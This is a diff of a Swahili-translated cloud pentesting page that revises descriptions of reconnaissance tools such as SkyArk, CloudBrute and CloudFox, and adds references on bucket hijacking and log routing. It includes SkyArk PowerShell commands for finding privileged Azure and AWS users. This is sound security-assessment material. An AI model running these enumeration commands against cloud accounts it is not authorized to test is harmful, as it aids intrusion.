+Starbase hukusanya assets na relationships kutoka kwa services na systems ikiwa ni pamoja na cloud infrastructure, SaaS applications, security controls, na zaidi ndani ya intuitive graph view inayoungwa mkono na Neo4j database.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +387,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-Gundua watumiaji wenye ruhusa nyingi zaidi katika mazingira ya AWS au Azure yaliyokaguliwa, ikiwa ni pamoja na AWS Shadow Admins. Inatumia powershell.
+Gundua watumiaji wenye mamlaka ya juu zaidi katika mazingira ya AWS au Azure yaliyoskanwa, ikijumuisha AWS Shadow Admins. Inatumia powershell.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,15 +398,15 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-Chombo cha kutafuta miundombinu ya kampuni (target), faili, na apps kwenye watoa huduma wakubwa wa cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
+Chombo cha kutafuta miundombinu, files, na apps za kampuni (target) kwenye waendeshaji wakuu wa cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox ni chombo cha kutafuta exploitable attack paths katika miundombinu ya cloud (kwa sasa inasaidia tu AWS & Azure na GCP inakuja hivi karibuni).
-- Ni chombo cha kuorodhesha kinachokusudiwa kukamilisha manual pentesting.
-- Hairuhusu kuunda au kubadilisha data yoyote ndani ya mazingira ya cloud.
+- CloudFox ni chombo cha kutafuta exploitable attack paths katika miundombinu ya cloud (kwa sasa inasaidia AWS & Azure pekee na GCP inakuja).
+- Ni chombo cha enumeration ambacho kimekusudiwa kucompliment manual pentesting.
+- Hakifanyi create wala modify data yoyote ndani ya mazingira ya cloud.
 
-### More lists of cloud security tools
+### Orodha zaidi za cloud security tools
 
 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
 
@@ -412,10 +438,17 @@ azure-security/
 
 ## Common Cloud Security Features
 
-### Ukompyuta wa Siri
+### Confidential Computing
 
 {{#ref}}
 confidential-computing/luks2-header-malleability-null-cipher-abuse.md
 {{#endref}}
 
+## References
+
+- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/)
+- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2)
+- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html)
+- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings)
+
 {{#include ../banners/hacktricks-training.md}}